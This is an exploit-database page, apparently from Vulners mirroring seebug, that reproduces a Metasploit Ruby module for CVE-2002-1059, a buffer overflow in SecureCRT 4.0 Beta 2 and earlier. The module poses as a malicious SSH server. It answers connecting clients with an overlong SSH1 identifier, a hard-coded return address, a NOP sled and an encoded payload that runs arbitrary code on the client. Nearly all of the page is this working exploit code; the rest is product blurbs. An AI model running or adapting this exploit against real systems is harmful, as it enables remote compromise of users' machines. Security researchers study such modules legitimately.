Lucene search
K

SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 8 Views

SSH1 Buffer Overflow in SecureCRT <= 4.0 Beta

Code

                                                ##
# $Id: securecrt_ssh1.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;SecureCRT &#60;= 4.0 Beta 2 SSH1 Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a buffer overflow in SecureCRT &#60;= 4.0
				Beta 2. By sending a vulnerable client an overly long
				SSH1 protocol identifier string, it is possible to execute
				arbitrary code.

				This module has only been tested on SecureCRT 3.4.4.
			},
			&#39;Author&#39;         =&#62; &#39;MC&#39;,
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 9179 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2002-1059&#39; ],
					[ &#39;OSVDB&#39;, &#39;4991&#39; ],
					[ &#39;BID&#39;, &#39;5287&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 400,
					&#39;BadChars&#39; =&#62; &#34;\x00&#34;,
					&#39;MaxNops&#39;  =&#62; 0,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;SecureCRT.exe (3.4.4)&#39;, { &#39;Ret&#39; =&#62; 0x0041b3e0 } ],
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#39;Jul 23 2002&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_options(
			[
				OptPort.new(&#39;SRVPORT&#39;, [ true, &#34;The SSH daemon port to listen on&#34;, 22 ])
			], self.class)
	end

	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)

		buffer =  &#34;SSH-1.1-OpenSSH_3.6.1p2\r\n&#34; + rand_text_english(243)
		buffer &#60;&#60; [target.ret].pack(&#39;V&#39;) + make_nops(20) + payload.encoded

		print_status(&#34;Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...&#34;)

		client.put(buffer)
		handler

		service.close_client(client)
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation